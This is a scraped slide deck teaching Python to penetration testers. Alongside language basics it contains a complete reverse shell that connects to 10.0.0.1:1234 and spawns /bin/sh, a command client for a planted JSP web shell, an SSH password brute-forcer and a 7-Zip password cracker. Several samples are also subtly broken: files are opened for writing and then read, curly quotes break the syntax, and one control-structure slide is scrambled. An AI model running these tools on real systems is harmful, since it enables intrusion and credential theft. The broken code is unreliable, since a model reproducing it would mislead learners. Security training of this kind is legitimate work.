SlideShare a Scribd company logo
Python for Penetration testers
Why?

™  EASY (install, learn, code)

™  Tons of libraries

™  Code is easy to understand

™  Multiplatform

™  Good for prototyping
History

™  Conceived in late 80´s and first implementation in 1989

™  Created by Guido Van Rossum

™  Benevolent Dictator for Life

™  Actually there are two branches 2.x and 3.0
Python 101
™  Interpreted language

™  Object oriented

™  Indentation is significant in Python, block delimiter.

™  Usual control structures (if, while, etc)

™  Multiple levels of organization (function, classes, modules,
    packages)
Who is using Python?

™  Core Impact   ™  ImmunityDebugger

™  Canvas        ™  Peach

™  W3AF          ™  Sulley

™  Sqlmap        ™  Paimei

™  Impacket      ™  Scapy

™  Google        ™  Spike Proxy
Python 101

Data types:
   ™    Strings - “Hello”
   ™    Numbers - 123
   ™    Lists – [‘hello’,’2’,’1’]
   ™    Tuples - (‘1’,’2’,’3’) (immutable)
   ™    Dictionaries – d = {‘key1’:’dog’,’key2’:’cat’}
Python 101

Structures:

list=[1,2,3,4,5]	

      if 3 > x:	

                             	

print “ 3 is bigger than” + x	

for x in list:	

        else:	

   print x	

                	

print “ 3 is smaller than” + x
Python 101

Example Hello World:

  print “Hello World”	



With variables:

  msg=“Hello World”	

  print msg
Python 101

™  Interactive python shell

™  The commands execute line per line as you type

™  Good for testing small pieces of code as loops, regex,
    etc

™  Type “python” and enter to access the shell
Python 101

™  Strings starts counting in 0 and can have also negative
    indexes

™  msg[0] is H

™  msg[-1] is d
Basic Code bits

import sys
ofile = ”names.txt”
fil = open(ofile,'w’)
x = fil.readlines()
for y in x:
        print y
Urllib2

™  Library to deal with HTTP


      import urllib2	

      response = urllib2.urlopen('http://python.org/')	

      html = response.read()	

      print html
Basic fuzzer
import sys, urllib2	


ofile = ”dirs.txt”	


fil = open(ofile,'w')	


dirs = fil.readlines()	


for x in dirs:	


        	

response = urllib2.urlopen('http://python.org/���+x)	

           html = response.read()
Encoding

import base64	

string=“TEST”	

base64.standard_b64encode(string)	

'VEVTVA=='	

	

                                 import hashlib	

                                 m=hashlib.new('md5’)	

                                 m.update(string)	

                                 res = m.hexdigest()	

                                 print res	

                                 033bd94b1168d7e4f0d644c3c95e35bf
Generic Console for Web
                Remote Execution
import httplib, urllib, sys	

host=”XXXXXXXXXX” 	

while 1:	

  cmd=raw_input("Exploited@"+host+"#>")	

  if cmd=="exit":	

      sys.exit()	

   else:	

       h = httplib.HTTP(host)	

       cmd=urllib.quote(cmd)	

       print cmd	

       h.putrequest('GET',”/myconsole123/my-shell.jsp?pass=1231&cmd="+cmd)	

       h.putheader('Host', host)	

       h.putheader('User-agent', 'Internet Explorer 6.0 ')	

       h.endheaders()	

       returncode, returnmsg, headers = h.getreply()
7 Zip Cracker
import os, sys, pylzma	

from py7zlib import Archive7z, NoPasswordGivenError, WrongPasswordError	

pas = open('passwords.txt', 'rb')	

password=pas.readlines()	

for x in password:	

  try:	

      fp = open('test.7z', 'rb')	

      archive = Archive7z(fp, password=x)	

      print ”The password is" + x	

      sys.exit()	

  except Exception, e:	

      fp.close()
A Web browser

#!/usr/bin/env python	


import sys	


from PyQt4.QtCore import *	


from PyQt4.QtGui import *	


from PyQt4.QtWebKit import *	


app = QApplication(sys.argv)	


web = QWebView()	


web.load(QUrl("http://www.edge-security.com"))	


web.show()	


sys.exit(app.exec_())
Python for Penetration testers
One line Webserver

™  python -m SimpleHTTPServer 8080
SSH Bruteforcer

t = paramiko.Transport(hostname)
try:
  t.start_client()
except Exception:
  x=0
try:
  t.auth_password(username=username,password=passw)
except Exception:
  x=0
if t.is_authenticated():
  print “Password found “ + passw
Proxy Strike Deflate Patch

™  Pd contains the POST DATA in the repeat function:


   import zlib
   defla= zlib.compress(pd)
Reverse Shell


import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Win32Com

™  Library that allows us to access COM objects in Win32
    systems

™  We can automate Word, Excel, Powerpoint, access
    WMI, AD, etc
Massive printing

from win32com import client
import time
word = client.Dispatch("Word.Application”)


def printPDFDocument(filename):
         word.Documents.Open(filename)
         word.ActiveDocument.PrintOut()
         time.sleep(5)
         word.ActiveDocument.Close()
         word.Quit()


printPDFDocument("c:test.doc")
Excel Processing

from win32com.client import Dispatch	


xlApp = Dispatch("Excel.Application")	


xlApp.Visible = 1	


xlApp.Workbooks.open("test.xls")	


for x in range(1,100):	


          	

nombre=str(xlApp.ActiveSheet.Cells(x,5))	


          	

print nombre	


xlApp.Quit()
WMI

import wmi

c = wmi.WMI ()

for process in c.Win32_Process ():

  print process.ProcessId, process.Name
Interesting stuff

™  http://dirk-loss.de/python-tools.htm

™  http://code.activestate.com/recipes/langs/python/

More Related Content

Python for Penetration testers

  • 2. Why? ™  EASY (install, learn, code) ™  Tons of libraries ™  Code is easy to understand ™  Multiplatform ™  Good for prototyping
  • 3. History ™  Conceived in late 80´s and first implementation in 1989 ™  Created by Guido Van Rossum ™  Benevolent Dictator for Life ™  Actually there are two branches 2.x and 3.0
  • 4. Python 101 ™  Interpreted language ™  Object oriented ™  Indentation is significant in Python, block delimiter. ™  Usual control structures (if, while, etc) ™  Multiple levels of organization (function, classes, modules, packages)
  • 5. Who is using Python? ™  Core Impact ™  ImmunityDebugger ™  Canvas ™  Peach ™  W3AF ™  Sulley ™  Sqlmap ™  Paimei ™  Impacket ™  Scapy ™  Google ™  Spike Proxy
  • 6. Python 101 Data types: ™  Strings - “Hello” ™  Numbers - 123 ™  Lists – [‘hello’,’2’,’1’] ™  Tuples - (‘1’,’2’,’3’) (immutable) ™  Dictionaries – d = {‘key1’:’dog’,’key2’:’cat’}
  • 7. Python 101 Structures: list=[1,2,3,4,5] if 3 > x: print “ 3 is bigger than” + x for x in list: else: print x print “ 3 is smaller than” + x
  • 8. Python 101 Example Hello World: print “Hello World” With variables: msg=“Hello World” print msg
  • 9. Python 101 ™  Interactive python shell ™  The commands execute line per line as you type ™  Good for testing small pieces of code as loops, regex, etc ™  Type “python” and enter to access the shell
  • 10. Python 101 ™  Strings starts counting in 0 and can have also negative indexes ™  msg[0] is H ™  msg[-1] is d
  • 11. Basic Code bits import sys ofile = ”names.txt” fil = open(ofile,'w’) x = fil.readlines() for y in x: print y
  • 12. Urllib2 ™  Library to deal with HTTP import urllib2 response = urllib2.urlopen('http://python.org/') html = response.read() print html
  • 13. Basic fuzzer import sys, urllib2 ofile = ”dirs.txt” fil = open(ofile,'w') dirs = fil.readlines() for x in dirs: response = urllib2.urlopen('http://python.org/’+x) html = response.read()
  • 14. Encoding import base64 string=“TEST” base64.standard_b64encode(string) 'VEVTVA==' import hashlib m=hashlib.new('md5’) m.update(string) res = m.hexdigest() print res 033bd94b1168d7e4f0d644c3c95e35bf
  • 15. Generic Console for Web Remote Execution import httplib, urllib, sys host=”XXXXXXXXXX” while 1: cmd=raw_input("Exploited@"+host+"#>") if cmd=="exit": sys.exit() else: h = httplib.HTTP(host) cmd=urllib.quote(cmd) print cmd h.putrequest('GET',”/myconsole123/my-shell.jsp?pass=1231&cmd="+cmd) h.putheader('Host', host) h.putheader('User-agent', 'Internet Explorer 6.0 ') h.endheaders() returncode, returnmsg, headers = h.getreply()
  • 16. 7 Zip Cracker import os, sys, pylzma from py7zlib import Archive7z, NoPasswordGivenError, WrongPasswordError pas = open('passwords.txt', 'rb') password=pas.readlines() for x in password: try: fp = open('test.7z', 'rb') archive = Archive7z(fp, password=x) print ”The password is" + x sys.exit() except Exception, e: fp.close()
  • 17. A Web browser #!/usr/bin/env python import sys from PyQt4.QtCore import * from PyQt4.QtGui import * from PyQt4.QtWebKit import * app = QApplication(sys.argv) web = QWebView() web.load(QUrl("http://www.edge-security.com")) web.show() sys.exit(app.exec_())
  • 19. One line Webserver ™  python -m SimpleHTTPServer 8080
  • 20. SSH Bruteforcer t = paramiko.Transport(hostname) try: t.start_client() except Exception: x=0 try: t.auth_password(username=username,password=passw) except Exception: x=0 if t.is_authenticated(): print “Password found “ + passw
  • 21. Proxy Strike Deflate Patch ™  Pd contains the POST DATA in the repeat function: import zlib defla= zlib.compress(pd)
  • 23. Win32Com ™  Library that allows us to access COM objects in Win32 systems ™  We can automate Word, Excel, Powerpoint, access WMI, AD, etc
  • 24. Massive printing from win32com import client import time word = client.Dispatch("Word.Application”) def printPDFDocument(filename): word.Documents.Open(filename) word.ActiveDocument.PrintOut() time.sleep(5) word.ActiveDocument.Close() word.Quit() printPDFDocument("c:test.doc")
  • 25. Excel Processing from win32com.client import Dispatch xlApp = Dispatch("Excel.Application") xlApp.Visible = 1 xlApp.Workbooks.open("test.xls") for x in range(1,100): nombre=str(xlApp.ActiveSheet.Cells(x,5)) print nombre xlApp.Quit()
  • 26. WMI import wmi c = wmi.WMI () for process in c.Win32_Process (): print process.ProcessId, process.Name
  • 27. Interesting stuff ™  http://dirk-loss.de/python-tools.htm ™  http://code.activestate.com/recipes/langs/python/